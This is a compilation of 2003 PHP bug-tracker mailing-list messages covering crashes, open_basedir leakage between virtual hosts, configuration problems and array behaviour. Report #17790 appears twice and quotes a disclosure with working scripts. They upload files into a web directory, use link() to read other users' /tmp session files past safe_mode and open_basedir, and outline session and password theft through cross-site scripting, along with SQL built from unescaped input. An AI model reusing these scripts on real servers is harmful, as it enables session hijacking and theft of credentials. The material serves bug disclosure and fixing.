#25585 [Fbk-Opn]: PHP crash if executed MSSQL-query with RAISERROR() call and error 515
ID: 25585 User updated by: snick at getart dot ru Reported By: snick at getart dot ru -Status: Feedback +Status: Open Bug Type: MSSQL related Operating System: Windows 2003 Server PHP Version: 4.3.3 New Comment: Yes. Comments of mssql_get_last_message() changes situation, but not essentially: Under Apache and standalone will crash in any case. Under IIS crashes after four or five browser refreshes. Previous Comments: [2003-09-19 00:57:38] [EMAIL PROTECTED] Does it crash without the mssql_get_last_message() line? [2003-09-18 07:39:06] snick at getart dot ru Description: When I try to execute T-SQL query with advanced instructions PHP was crash. Tested with: Apache v. 2.0.43 IIS v. 6.0 MSSQL v. 7.0 ntwdblib.dll v. 2000.80.194.0 Query must include: - BEGIN TRAN and COMMIT / ROLLBACK TRAN; - RAISEERROR() function call; - Error in query before RAISERROR (eg. failed INSERT with 'Can not insert NULL into bla-bla-bla' message (msg 515)) Reproduce code: --- // you must create database called 'myDB' and table // 'myTable' with columns myField1 INT NOT NULL, myField2 VARCHAR(50) NOT NULL /* ...db connection and selection */ $query = BEGIN TRAN DECLARE @Flag BIT SET @Flag = 0 INSERT INTO myTable (myField2) VALUES ('akgfsjhdgf') IF @Flag = 0 BEGIN RAISERROR('Some error', 18, 10) ROLLBACK TRAN END ELSE COMMIT TRAN; $result = mssql_query($query); echo Result is .($result ? true : false).br/; echo DB Error is .mssql_get_last_message().br/; Expected result: PHP must return usual errors (if exists) and specified output: Result is true DB Error is Changed database context to 'myDB' Actual result: -- If PHP running as Apache module: message box Apache.exe - Application Error The instruction at '0x77f486f7' referenced memory at '0x'. The memory could not be 'read' If PHP running as standalone: message box php.exe - Application Error The instruction at '0x77f486f7' referenced memory at '0x'. The memory could not be 'read' If PHP running as ISAPI module: IIS return in browser string PHP has encountered an Access Violation at 77F47931 -- Edit this bug report at http://bugs.php.net/?id=25585edit=1
#24282 [Com]: Strange Open Base Dir Restriction Errors
ID: 24282 Comment by: siminka at gmx dot de Reported By: matzrek at shw-networks dot de Status: Open Bug Type: Apache related Operating System: Suse Linux 8.2 / Apache 1.3.27 PHP Version: 4.3.2 New Comment: Same thing here with auto_prepend_file (Apache 2.0.47, PHP 4.3.3) - default httpd.conf and php-ini.dist. Two vhosts - VirtualHost *:80 ServerName domain1.tld DocumentRoot /var/www/domain1.tld php_value auto_prepend_file global.php /VirtualHost VirtualHost *:80 ServerName domain2.tld DocumentRoot /var/www/domain2.tld /VirtualHost ...one with auto_prepend_file, one without. Sometimes the auto_prepend_file of domain1.tld is prepended for the vhost of domain2.tld. When adding 'php_value auto_prepend_file none' to the domain2.tld vhost, the problem is gone. Really annoying bug! Previous Comments: [2003-08-26 00:43:14] red at raven dot ch seems to be the same or similar thing: bug #25198 I realised the same issue as dprado at floripa dot com dot br mentioned... [2003-08-15 11:07:33] [EMAIL PROTECTED] I say again: We need to get the httpd.conf, etc. with which you HAVE been experiencing this problem. Read my previous comment. [2003-08-15 09:52:48] dprado at floripa dot com dot br Samething happens here. PHP 4.3.2, the bug only shows randomly when accessing virtualhosts that DO NOT have open_basedir set on a machine that has other vhosts with open_basedir set. Taking a wild guess, it seems that an apache thread that server up a page for a vhost with openbasedir set when it tries to serve a page for another vhost whithout openbasedir it keeps the openbasedir settings. Setting open_basedir for all vhosts solved the problem. [2003-08-05 11:17:30] [EMAIL PROTECTED] Try this in the other vhosts: php_admin_value open_basedir none [2003-06-24 13:01:21] matzrek at shw-networks dot de the error happend at two different configurations : a) VirtualHost 213.203.204.143 ServerAdmin [EMAIL PROTECTED] ServerName www.shw-network.de ServerAlias shw-network.de ServerAlias www.shw-networks.de ServerAlias shw-networks.de DocumentRoot /home/shw-network.de/htdocs ErrorLog /home/shw-network.de/log/error_log.log CustomLog /home/shw-network.de/log/access_log.log combined CustomLog /var/log/httpd/access_log.log combined /VirtualHost an b ) VirtualHost 213.203.204.143 ServerAdmin [EMAIL PROTECTED] DocumentRoot /home/cusomerdomain.de/htdocs/admin ServerName admin.cusomerdomain.de ServerAlias www.cusomerdomain.de ServerAlias cusomerdomain.de ErrorLog /home/cusomerdomain.de/log/error_log.log CustomLog /home/cusomerdomain.de/log/access_log.log combined CustomLog /var/log/httpd/access_log.log combined php_admin_flag safe_mode off php_admin_value open_base_dir /home/cusomerdomain.de php_admin_value safe_mode_exec_dir /bin /VirtualHost if the error happens or not seems to depend on the apache process wich handles the request. The Apache uptime may also have some effect - it did not happen, directly after an apache restart. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/24282 -- Edit this bug report at http://bugs.php.net/?id=24282edit=1
#25600 [NEW]: .php/ makes an interesting things
From: milp at milp dot sk Operating system: Windows XP PHP version: 4.3.2 PHP Bug Type: Unknown/Other Function Bug description: .php/ makes an interesting things Description: First of all, excuse me my English. By mistake I wrote into the ie browser instead of the url address http://www.milp.sk/links.php the address http://www.milp.sk/links.php/ (as you can see the slash '/' is redundant). The interesting is that my site was loaded but without the images. Second, if you click on the link located at the site for ex. on download.php than a server tried to load the address http://www.milp.sk/links.php/download.php which of course doesn't exist. Probably it isn't a bug in php but it also doesn't doing a good impression. If you know more about this problem please write me to my email [EMAIL PROTECTED] Thanks. Regards, Milan Pavuk PS. The problem also noticeable when you type http://www.milp.sk/show.php/?type=galleriespart=artpage=1 -- Edit bug report at http://bugs.php.net/?id=25600edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=25600r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=25600r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=25600r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=25600r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=25600r=needtrace Try newer version: http://bugs.php.net/fix.php?id=25600r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=25600r=support Expected behavior: http://bugs.php.net/fix.php?id=25600r=notwrong Not enough info:http://bugs.php.net/fix.php?id=25600r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=25600r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=25600r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=25600r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=25600r=dst IIS Stability: http://bugs.php.net/fix.php?id=25600r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=25600r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=25600r=float
#25600 [Opn]: .php/ makes an interesting things
ID: 25600 User updated by: milp at milp dot sk Reported By: milp at milp dot sk Status: Open Bug Type: Unknown/Other Function Operating System: Windows XP PHP Version: 4.3.2 New Comment: First of all, excuse me my English. By mistake I wrote into the ie browser instead of the url address http://www.milp.sk/links.php the address http://www.milp.sk/links.php/ (as you can see the slash '/' is redundant). The interesting is that my site was loaded but without the images. Second, if you click on the link located at the site for ex. on download.php than a server tried to load the address http://www.milp.sk/links.php/download.php which of course doesn't exist. Probably it isn't a bug in php but it also doesn't doing a good impression. If you know more about this problem please write me to my email. Thanks. Regards, Milan Pavuk Previous Comments: [2003-09-19 04:42:44] milp at milp dot sk Description: First of all, excuse me my English. By mistake I wrote into the ie browser instead of the url address http://www.milp.sk/links.php the address http://www.milp.sk/links.php/ (as you can see the slash '/' is redundant). The interesting is that my site was loaded but without the images. Second, if you click on the link located at the site for ex. on download.php than a server tried to load the address http://www.milp.sk/links.php/download.php which of course doesn't exist. Probably it isn't a bug in php but it also doesn't doing a good impression. If you know more about this problem please write me to my email [EMAIL PROTECTED] Thanks. Regards, Milan Pavuk PS. The problem also noticeable when you type http://www.milp.sk/show.php/?type=galleriespart=artpage=1 -- Edit this bug report at http://bugs.php.net/?id=25600edit=1
#25590 [Opn]: Using Apache2 deflate_module with sesssions
ID: 25590 User updated by: andreas dot goetz at accenture dot com Reported By: andreas dot goetz at accenture dot com Status: Open Bug Type: Apache2 related Operating System: Win2K PHP Version: 4.3.3 New Comment: My mistake, sorry. The problem is not module_deflate related. I've found that the php session files on c:/temp are readonly. This is not happening on my other machine. Removing the read only checkmark from the file fixes the problem. Any ideas? Thanks a lot, Andi Previous Comments: [2003-09-19 04:10:48] andreas dot goetz at accenture dot com No, issue is gone without deflate_module. Andi [2003-09-18 20:44:19] [EMAIL PROTECTED] Does the problem occur without deflate_module? [2003-09-18 10:43:28] andreas dot goetz at accenture dot com Description: I've configure apache2 to compress html files. This leads to the well-known php error on session_start: Cannot send session cache limiter. I understand apache2 support is still experimental. If I can help testing, I can provide the apache config and php code. Cheers, Andreas -- Edit this bug report at http://bugs.php.net/?id=25590edit=1
#25601 [NEW]: PHP displays incorrect error messages when pages are accessed at the same time
From: leiter at ifup dot net Operating system: Linux PHP version: 4.3.3 PHP Bug Type: Apache2 related Bug description: PHP displays incorrect error messages when pages are accessed at the same time Description: I'm running Apache 2.0.47 with prefork mpm under Linux. If I access example.org and example.com at the same time I get this errormessage: Warning: Unknown(): open_basedir restriction in effect. File(/var/www/example.com/index.php) is not within the allowed path(s): (/var/www/example.org) in Unknown on line 0 Warning: Unknown(/var/www/example.com/index.php): failed to open stream: Operation not permitted in Unknown on line 0 Warning: (null)(): Failed opening '/var/www/example.com/index.php' for inclusion (include_path='.:/opt/php4/lib/php') in Unknown on line 0 Note that example.com gets the limits for example.org. Reproduce code: --- VirtualHost ip:80 DocumentRoot /var/www/example.com ServerName example.com ServerAlias www.example.com RewriteEngine on # some rewrite rules here. shouldn't matter php_flag register_globals on /VirtualHost VirtualHost ip:80 DocumentRoot /var/www/example.org ServerName www.example.org ServerAlias example.org php_flag register_globals on php_admin_flag safe_mode on php_admin_value safe_mode_exec_dir /opt/apache2/safemode_exec php_admin_value open_basedir /var/www/example.org /VirtualHost Expected result: example.com should not be affected by restrictions for example.org! This only happens if the pages are requested at the same time, otherwise it works. Looks like a race condition. I'm not sure if this is a PHP or Apache2 bug. -- Edit bug report at http://bugs.php.net/?id=25601edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=25601r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=25601r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=25601r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=25601r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=25601r=needtrace Try newer version: http://bugs.php.net/fix.php?id=25601r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=25601r=support Expected behavior: http://bugs.php.net/fix.php?id=25601r=notwrong Not enough info:http://bugs.php.net/fix.php?id=25601r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=25601r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=25601r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=25601r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=25601r=dst IIS Stability: http://bugs.php.net/fix.php?id=25601r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=25601r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=25601r=float
#17790 [Com]: symlinks circumvent open_basedir restrictions
ID: 17790 Comment by: devdas_kantee at hotmail dot com Reported By: tozz at kijkt dot tv Status: Closed Bug Type: Filesystem function related Operating System: Linux PHP Version: 4.2.1 New Comment: hi Previous Comments: [2002-06-16 17:28:31] [EMAIL PROTECTED] This bug has been fixed in CVS. You can grab a snapshot of the CVS version at http://snaps.php.net/. In case this was a documentation problem, the fix will show up soon at http://www.php.net/manual/. In case this was a PHP.net website problem, the change will show up on the PHP.net site and on the mirror sites. Thank you for the report, and for helping us make PHP better. symlink and link now perfom an openbasedir and uid check for link and for its target. anyway the situation you describe is caused by a totally misconfigured server. document root directories should never ever be writeable for the apache user. thats a generic rule and disobeying it is a security hole. [2002-06-16 16:55:49] bastijs at net-force dot nl well, this is possible because of the move_uploaded_file + the link function. move_uploaded_file will change your own UID to 48 apache so you will be able to read files from the /tmp dir if you link the /tmp directory to your own made tmp directory So I think it`s a PHP bug. cya, BasTijs [2002-06-16 16:42:06] [EMAIL PROTECTED] The session stealing stuff is only possible because of a great flaw in the upload script. That's not a problem in PHP. Safe mode is not safe. But tbese are things that should not be managed by PHP, but by the OS. Apache 2 solves this problem with the Perchild MPM. Safe mode tries to solve this problem, but it can't completely. Read the php-dev archives for more about this. What remains is that symlinks might be able to work around open_basedir restrictions. That should not be possible. Reclassified. [2002-06-16 16:24:36] tozz at kijkt dot tv Stealing PHP sessions + Break PHP safe_mode + Break PHP open_basedir This file includes 2 new PHP bugs + a guide on how to use cross scripting to steal sessions + passwords PHP bugs: 1) Break safe_mode restriction using move_uploaded_file. 2) Break open_basedir restriction using the PHP link function This script will upload a file to the dir /css/ op my website http://www.net-force.nl/css/ Because the move_upload_file changes the users from my own name- bastijs ID 566 to apache ID 48 I will be able to break the safe_mode restriction and read files from the /tmp/ directory with my steel.php script. ( Chmod 777 /css/ ) upload.php ++ ? $file = $HTTP_POST_FILES['file']['name']; $type = $HTTP_POST_FILES['file']['type']; $size = $HTTP_POST_FILES['file']['size']; $temp = $HTTP_POST_FILES['file']['tmp_name']; $size_limit = 10; // set size limit in bytes if ($file){ if ($size $size_limit){ move_uploaded_file($temp,/domains/net-force.nl/public_html/www/css/ .$file); echo File tt$file/tt uploaded!; } else { echo Sorry, your file exceeds the size limit of $size_limit bytes; }} echo form enctype='multipart/form-data' action=$PHP_SELF method=post Upload a file: input name='file' type='file' input type='submit' value='Upload' /form ; ? ++ This script will steal a session from the tmp dir and place a file named $sessie.txt in your own temp dir, I used - http://www.net-force.nl/css/tmp/ so I will get a file called http://www.net-force.nl/css/tmp/88618d3d4af0bb8bd5135472c02e8ecc.txt If my session ID was: 88618d3d4af0bb8bd5135472c02e8ecc I used the link function to break the open_basedir restriction so I was able to view the file. steel.php ++ ? if(IsSet($submit) $submit == steel){ link(/tmp/sess_ . $sessie, tmp/$sessie.txt); $file = file(tmp/$sessie.txt); echo $file[0]; }else{ echo form method=\post\ action=\$PHP_SELF\ Sessie:br input type=\text\ name=\sessie\br input type=\submit\ name=\submit\ value=\steel\ /form ; } ? ++ Now I`m gonna test the exploit and steel a session ID using the cross-scripting exploit. First I will create a table called css in MYSQL, edit the scripts for your own server. CREATE TABLE `css` ( `id` int(10) NOT NULL auto_increment, `naam` varchar(40) NOT NULL default '', `password` varchar(40) NOT NULL default '', PRIMARY KEY (`id`) ) TYPE=MyISAM; Now I will install an login + register script which will use sessions for auth. register.php ++ ? include('functions.php'); session_start(); if(IsSet($submit) $submit == register){ $Query = mysql_query(SELECT * FROM css WHERE naam='$naam', $db) or die(Error!); $info = mysql_fetch_array($Query); if($info['id'] != ){ die(error!); }else{ mysql_query(INSERT INTO
#17790 [Com]: symlinks circumvent open_basedir restrictions
ID: 17790 Comment by: devdas_kantee at hotmail dot com Reported By: tozz at kijkt dot tv Status: Closed Bug Type: Filesystem function related Operating System: Linux PHP Version: 4.2.1 New Comment: hi Previous Comments: [2003-09-19 05:08:19] devdas_kantee at hotmail dot com hi [2002-06-16 17:28:31] [EMAIL PROTECTED] This bug has been fixed in CVS. You can grab a snapshot of the CVS version at http://snaps.php.net/. In case this was a documentation problem, the fix will show up soon at http://www.php.net/manual/. In case this was a PHP.net website problem, the change will show up on the PHP.net site and on the mirror sites. Thank you for the report, and for helping us make PHP better. symlink and link now perfom an openbasedir and uid check for link and for its target. anyway the situation you describe is caused by a totally misconfigured server. document root directories should never ever be writeable for the apache user. thats a generic rule and disobeying it is a security hole. [2002-06-16 16:55:49] bastijs at net-force dot nl well, this is possible because of the move_uploaded_file + the link function. move_uploaded_file will change your own UID to 48 apache so you will be able to read files from the /tmp dir if you link the /tmp directory to your own made tmp directory So I think it`s a PHP bug. cya, BasTijs [2002-06-16 16:42:06] [EMAIL PROTECTED] The session stealing stuff is only possible because of a great flaw in the upload script. That's not a problem in PHP. Safe mode is not safe. But tbese are things that should not be managed by PHP, but by the OS. Apache 2 solves this problem with the Perchild MPM. Safe mode tries to solve this problem, but it can't completely. Read the php-dev archives for more about this. What remains is that symlinks might be able to work around open_basedir restrictions. That should not be possible. Reclassified. [2002-06-16 16:24:36] tozz at kijkt dot tv Stealing PHP sessions + Break PHP safe_mode + Break PHP open_basedir This file includes 2 new PHP bugs + a guide on how to use cross scripting to steal sessions + passwords PHP bugs: 1) Break safe_mode restriction using move_uploaded_file. 2) Break open_basedir restriction using the PHP link function This script will upload a file to the dir /css/ op my website http://www.net-force.nl/css/ Because the move_upload_file changes the users from my own name- bastijs ID 566 to apache ID 48 I will be able to break the safe_mode restriction and read files from the /tmp/ directory with my steel.php script. ( Chmod 777 /css/ ) upload.php ++ ? $file = $HTTP_POST_FILES['file']['name']; $type = $HTTP_POST_FILES['file']['type']; $size = $HTTP_POST_FILES['file']['size']; $temp = $HTTP_POST_FILES['file']['tmp_name']; $size_limit = 10; // set size limit in bytes if ($file){ if ($size $size_limit){ move_uploaded_file($temp,/domains/net-force.nl/public_html/www/css/ .$file); echo File tt$file/tt uploaded!; } else { echo Sorry, your file exceeds the size limit of $size_limit bytes; }} echo form enctype='multipart/form-data' action=$PHP_SELF method=post Upload a file: input name='file' type='file' input type='submit' value='Upload' /form ; ? ++ This script will steal a session from the tmp dir and place a file named $sessie.txt in your own temp dir, I used - http://www.net-force.nl/css/tmp/ so I will get a file called http://www.net-force.nl/css/tmp/88618d3d4af0bb8bd5135472c02e8ecc.txt If my session ID was: 88618d3d4af0bb8bd5135472c02e8ecc I used the link function to break the open_basedir restriction so I was able to view the file. steel.php ++ ? if(IsSet($submit) $submit == steel){ link(/tmp/sess_ . $sessie, tmp/$sessie.txt); $file = file(tmp/$sessie.txt); echo $file[0]; }else{ echo form method=\post\ action=\$PHP_SELF\ Sessie:br input type=\text\ name=\sessie\br input type=\submit\ name=\submit\ value=\steel\ /form ; } ? ++ Now I`m gonna test the exploit and steel a session ID using the cross-scripting exploit. First I will create a table called css in MYSQL, edit the scripts for your own server. CREATE TABLE `css` ( `id` int(10) NOT NULL auto_increment, `naam` varchar(40) NOT NULL default '', `password` varchar(40) NOT NULL default '', PRIMARY KEY (`id`) ) TYPE=MyISAM; Now I will install an login + register script which will use sessions for auth. register.php ++ ? include('functions.php'); session_start(); if(IsSet($submit) $submit == register){ $Query = mysql_query(SELECT * FROM css WHERE
#25602 [NEW]: exif_imagetype
From: flobee at gmx dot net Operating system: Win XP PHP version: 4.3.3 PHP Bug Type: Scripting Engine problem Bug description: exif_imagetype Description: function: exif_imagetype do not exists! Fatal error: Call to undefined function -- Edit bug report at http://bugs.php.net/?id=25602edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=25602r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=25602r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=25602r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=25602r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=25602r=needtrace Try newer version: http://bugs.php.net/fix.php?id=25602r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=25602r=support Expected behavior: http://bugs.php.net/fix.php?id=25602r=notwrong Not enough info:http://bugs.php.net/fix.php?id=25602r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=25602r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=25602r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=25602r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=25602r=dst IIS Stability: http://bugs.php.net/fix.php?id=25602r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=25602r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=25602r=float
#25603 [NEW]: exif_imagetype
From: flobee at gmx dot net Operating system: Win XP PHP version: 4.3.3 PHP Bug Type: Scripting Engine problem Bug description: exif_imagetype Description: function: exif_imagetype do not exists! Fatal error: Call to undefined function Reproduce code: --- function chk_image($type,$imagepath) { $transtype = ; if(file_exists($imagepath)) { switch($type) { case gif: $transtype = IMAGETYPE_GIF; break; case jpg: $transtype = IMAGETYPE_JPEG; break; case png: $transtype = IMAGETYPE_PNG; break; case swf: $transtype = IMAGETYPE_SWF; break; case psd: $transtype = IMAGETYPE_PSD; break; case bmp: $transtype = IMAGETYPE_BMP; break; } if (exif_imagetype($imagepath) == $transtype) { return true; } else { return false; } } else { return false; //echo Error: Image not Foundbr; } } puts out: Fatal error: Call to undefined function exif_imagetype -- Edit bug report at http://bugs.php.net/?id=25603edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=25603r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=25603r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=25603r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=25603r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=25603r=needtrace Try newer version: http://bugs.php.net/fix.php?id=25603r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=25603r=support Expected behavior: http://bugs.php.net/fix.php?id=25603r=notwrong Not enough info:http://bugs.php.net/fix.php?id=25603r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=25603r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=25603r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=25603r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=25603r=dst IIS Stability: http://bugs.php.net/fix.php?id=25603r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=25603r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=25603r=float
#25603 [Opn-Bgs]: exif_imagetype
ID: 25603 Updated by: [EMAIL PROTECTED] Reported By: flobee at gmx dot net -Status: Open +Status: Bogus Bug Type: Scripting Engine problem -Operating System: Win XP +Operating System: * -PHP Version: 4.3.3 +PHP Version: * New Comment: Thank you for taking the time to write to us, but this is not a bug. Please double-check the documentation available at http://www.php.net/manual/ and the instructions on how to report a bug at http://bugs.php.net/how-to-report.php That means you haven't loaded exif extension. Previous Comments: [2003-09-19 07:22:47] flobee at gmx dot net Description: function: exif_imagetype do not exists! Fatal error: Call to undefined function Reproduce code: --- function chk_image($type,$imagepath) { $transtype = ; if(file_exists($imagepath)) { switch($type) { case gif: $transtype = IMAGETYPE_GIF; break; case jpg: $transtype = IMAGETYPE_JPEG; break; case png: $transtype = IMAGETYPE_PNG; break; case swf: $transtype = IMAGETYPE_SWF; break; case psd: $transtype = IMAGETYPE_PSD; break; case bmp: $transtype = IMAGETYPE_BMP; break; } if (exif_imagetype($imagepath) == $transtype) { return true; } else { return false; } } else { return false; //echo Error: Image not Foundbr; } } puts out: Fatal error: Call to undefined function exif_imagetype -- Edit this bug report at http://bugs.php.net/?id=25603edit=1
#25494 [Csd-Opn]: array_merge allowing false as argument (silent when non-array is passed)
ID: 25494 Updated by: [EMAIL PROTECTED] Reported By: enygma at phpdeveloper dot org -Status: Closed +Status: Open Bug Type: Arrays related Operating System: Any PHP Version: 4.3.2 New Comment: This behaviour IS documented for array_splice. This behaviour IS documented in the type juggling chapter of the PHP manual. Additionally, it's the standard way for PHP to handle arguments of the `wrong' type: It casts. You don't consider it a bug that floor(3.2) returns float(3), do you? But you consider it a bug that array_merge() casts to array if it doesn't get one? Major inconsistency there. Previous Comments: [2003-09-18 15:06:06] [EMAIL PROTECTED] It can't break BC if the behaviour was undocumented and hence undefined. So either document the behaviour or fix the bug. Anybody relying on undocumented 'features' should know they're at risk for having those behaviours changed. J [2003-09-18 06:45:48] [EMAIL PROTECTED] It's still inconsistent, and `will throw a warning and fail in 5 for non-array arguments' will break BC without a need for it. [2003-09-18 06:08:03] [EMAIL PROTECTED] Throwing an E_NOTICE error is not breaking anything. [2003-09-18 05:56:38] [EMAIL PROTECTED] This `fix' is inconsistent with array_splice, which allows you to add non-array arguments. (This is also documented.) Also, this `fix' breaks BC. Is this really needed? I'd rather have those functions convert non-array arguments into arrays and then perform their operations like array_splice() does. This has to be documented of course. [2003-09-11 13:57:55] [EMAIL PROTECTED] This bug has been fixed in CVS. In case this was a PHP problem, snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. In case this was a documentation problem, the fix will show up soon at http://www.php.net/manual/. In case this was a PHP.net website problem, the change will show up on the PHP.net site and on the mirror sites in short time. Thank you for the report, and for helping us make PHP better. array_merge() throws E_NOTICEs now in 4.3.x and will throw a warning and fail in 5 for non-array arguments. J The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/25494 -- Edit this bug report at http://bugs.php.net/?id=25494edit=1
#25506 [Opn-WFx]: xsl:include with relative path
ID: 25506 Updated by: [EMAIL PROTECTED] Reported By: cryo28 at rbcmail dot ru -Status: Open +Status: Wont fix Bug Type: DOM XML related Operating System: Win2K PHP Version: 4.3.3 New Comment: When loading documents and stylesheets from memory rather than from a file, there is no base directory defined on the document. Either use full paths for the includes or set a base href tag in the stylesheet. This issue is being addressed in PHP 5 as doing so in the current domxml will break BC. Previous Comments: [2003-09-12 01:48:14] cryo28 at rbcmail dot ru Description: Wrong handling xsl:include and xsl:import elements with href attribute with relative to main-stylesheet path in domxml_xslt_stylesheet-process. Got Error Warning: domxml_xslt_stylesheet(): compilation error: element include in D:\inet\wwwroot\index.php on line 44 Warning: domxml_xslt_stylesheet(): xsl:include : unable to load index/header.xslt in D:\inet\wwwroot\index.php on line 44 error! Reproduce code: --- php: $xml = some valid xml; $xslt = domxml_xslt_stylesheet($stylesheetstring); $result = $xslt-process($xml); xslt: xsl:include href=main/header.xslt/ xsl:call-template name=header/!-- in main header.xslt-- Expected result: When When xsl:include href=/inet/wwwroot/stylesheets/main/header.xslt/ $xslt-process($xml) works fine. But if xsl:include href=main/header.xslt/ or xsl:include href=stylesheets/main/header.xslt/ got warning with no result FALSE. Directory structure something like d:\inet\wwwroot\index.php d:\inet\wwwroot\stylesheets\main.xslt d:\inet\wwwroot\stylesheets\main\header.xslt -- Edit this bug report at http://bugs.php.net/?id=25506edit=1
#25604 [NEW]: configure fails to define variables for use with snmp module
From: gaz at fission dot org dot uk Operating system: Debian GNU/Linux unstable(sid) PHP version: 4.3.3 PHP Bug Type: SNMP related Bug description: configure fails to define variables for use with snmp module Description: This may very well be a debian specific bug, I couldn't honestly say. However, when I run: phpize ./configure make make install on the snmp library to run as a dynamic module then it compiles fine - but config.h defines the values for HAVE_SNMP_PARSE_OID as undefined when infact the relevant header files are installed. This means that doing an snmpwalk(host,community,$OID) will just keep running and eventually timeout. This seems to happen no matter what $OID is, aside from system - it works fine like that. Reproduce code: --- // note, this was testing again a 3com superstack3 switch $a = snmpwalk($host, $community, ifDescr); print_r($a); Expected result: ( [0] = STRING: RMON Port 01 on unit 1 [1] = STRING: RMON Port 02 on unit 1 [2] = STRING: RMON Port 03 on unit 1 [3] = STRING: RMON Port 04 on unit 1 [4] = STRING: RMON Port 05 on unit 1 [5] = STRING: RMON Port 06 on unit 1 [6] = STRING: RMON Port 07 on unit 1 [7] = STRING: RMON Port 08 on unit 1 [8] = STRING: RMON Port 09 on unit 1 [9] = STRING: RMON Port 10 on unit 1 [10] = STRING: RMON Port 11 on unit 1 [11] = STRING: RMON Port 12 on unit 1 [12] = STRING: RMON Port 13 on unit 1 [13] = STRING: RMON Port 14 on unit 1 [14] = STRING: RMON Port 15 on unit 1 [15] = STRING: RMON Port 16 on unit 1 [16] = STRING: RMON Port 17 on unit 1 [17] = STRING: RMON Port 18 on unit 1 [18] = STRING: RMON Port 19 on unit 1 [19] = STRING: RMON Port 20 on unit 1 [20] = STRING: RMON Port 21 on unit 1 [21] = STRING: RMON Port 22 on unit 1 [22] = STRING: RMON Port 23 on unit 1 [23] = STRING: RMON Port 24 on unit 1 [24] = STRING: RMON Port 25 on unit 1 [25] = STRING: RMON Port 26 on unit 1 [26] = STRING: Console Port 192.168.101.1 on unit 1 [27] = STRING: Management Port 195.74.109.38 on unit 1 [28] = STRING: VLAN 1 [29] = STRING: 802.1Q Encapsulation Tag 0001 [30] = STRING: Stack Aggregated Link 01 [31] = STRING: Stack Aggregated Link 02 [32] = STRING: Stack Aggregated Link 03 [33] = STRING: Stack Aggregated Link 04 ) Actual result: -- I just get a timeout -- Edit bug report at http://bugs.php.net/?id=25604edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=25604r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=25604r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=25604r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=25604r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=25604r=needtrace Try newer version: http://bugs.php.net/fix.php?id=25604r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=25604r=support Expected behavior: http://bugs.php.net/fix.php?id=25604r=notwrong Not enough info:http://bugs.php.net/fix.php?id=25604r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=25604r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=25604r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=25604r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=25604r=dst IIS Stability: http://bugs.php.net/fix.php?id=25604r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=25604r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=25604r=float
#25601 [Opn-Dup]: PHP displays incorrect error messages when pages are accessed at the same time
